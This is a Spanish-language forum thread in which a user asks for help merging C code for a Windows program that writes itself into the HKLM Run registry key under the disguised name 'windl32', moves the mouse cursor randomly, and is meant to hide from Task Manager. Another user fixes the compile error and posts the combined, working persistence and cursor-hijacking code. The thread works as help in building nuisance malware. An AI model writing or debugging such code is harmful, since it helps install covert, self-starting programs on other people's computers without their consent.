Autor
|
Tema: Problema con Dev C++ (Leído 2,343 veces)
|
Netflash
Desconectado
Mensajes: 12
|
Estoy creando un programa en Dev C++ que tienes estas funciones pero hay un problema , - Que se agregue al registro - Mueva el raton aleatoriamente - Ocultarse del administrador de tareas - i otras funciones que tengoDe momento tengo el codigo de agregarse al registro: #include <windows.h>
int main() { HKEY hkey; RegOpenKeyEx (HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey); RegSetValueEx(hkey,"windl32",0,REG_SZ,(const unsigned char*)"I:\windl32.exe",sizeof"I:\windl32.exe"); RegCloseKey(hkey); }
Y el de mover la rata #include <windows.h>
int main() { FreeConsole(); srand(GetTickCount());
int nWidth = GetSystemMetrics(SM_CXSCREEN) - 1; int nHeight = GetSystemMetrics(SM_CYSCREEN) - 1;
while(!GetAsyncKeyState(VK_F8)){ SetCursorPos((rand() % nWidth) + 1, (rand() % nHeight) + 1); Sleep(5);
} return 0;
} Al momento de juntar estas dos funciones pues me tira un error de compilación, ya llevo varios dias buscando y no logro encontrar esta solucion....
|
|
|
En línea
|
|
|
|
ankora45
Desconectado
Mensajes: 52
|
Sinceramente creo que estan bien pero si utilizas dev-c++ pasate a code::blocks ya que usa un compilador diferente perop no me hagas muxo caso
|
|
|
En línea
|
Hay dos cosas infinitas en este mundo, el universo y la estupidez humana, y de la primera no estoy muy seguro
|
|
|
0xDani
Desconectado
Mensajes: 1.077
|
Sinceramente creo que estan bien pero si utilizas dev-c++ pasate a code::blocks ya que usa un compilador diferente perop no me hagas muxo caso
El dev-c++ usa el compilador de borland, y el code::blocks el mingw, que es una adaptacion del gcc a windows, segun tengo entendido. Eso por defecto claro, supongo que ambos se pueden configurar. En cuanto a la pregunta del tema, yo no la voy a responder porque no entiendo de la API de windows, pero te aconsejo que pongas la salida del compilador, asi seguramente te contestara mas gente. Saludos. PD: Dev-c++ es un proyecto abandonado.
|
|
|
En línea
|
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!
I code for $$$ Hago trabajos en C/C++ Contactar por PM
|
|
|
SokarTefnut
Desconectado
Mensajes: 124
|
Acabo de incluirlo en un archivo,compilarlo y ejecutarlo, funciona, aunque habia un error. Compilando con GCC :
ERROR: Aviso; secuencia de escape desconocida '\w' en la linea 61
el problema estaba en que en el programa original estas usando I:\windl32.exe, y hay que utilizar la doble barra I:\\windl32.exe
#include <windows.h>
int main() { RegFuncion(); SaltaRaton(); }
RegFuncion(void) { HKEY hkey; RegOpenKeyEx (HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey); RegSetValueEx(hkey,"windl32",0,REG_SZ,(const unsigned char*)"I:\\windl32.exe",sizeof"I:\\windl32.exe"); RegCloseKey(hkey); return; }
SaltaRaton(void) { FreeConsole(); srand(GetTickCount()); int nWidth = GetSystemMetrics(SM_CXSCREEN) - 1; int nHeight = GetSystemMetrics(SM_CYSCREEN) - 1; while(!GetAsyncKeyState(VK_F8)){ SetCursorPos((rand() % nWidth) + 1, (rand() % nHeight) + 1); Sleep(5);
} }
|
|
|
En línea
|
|
|
|
|
|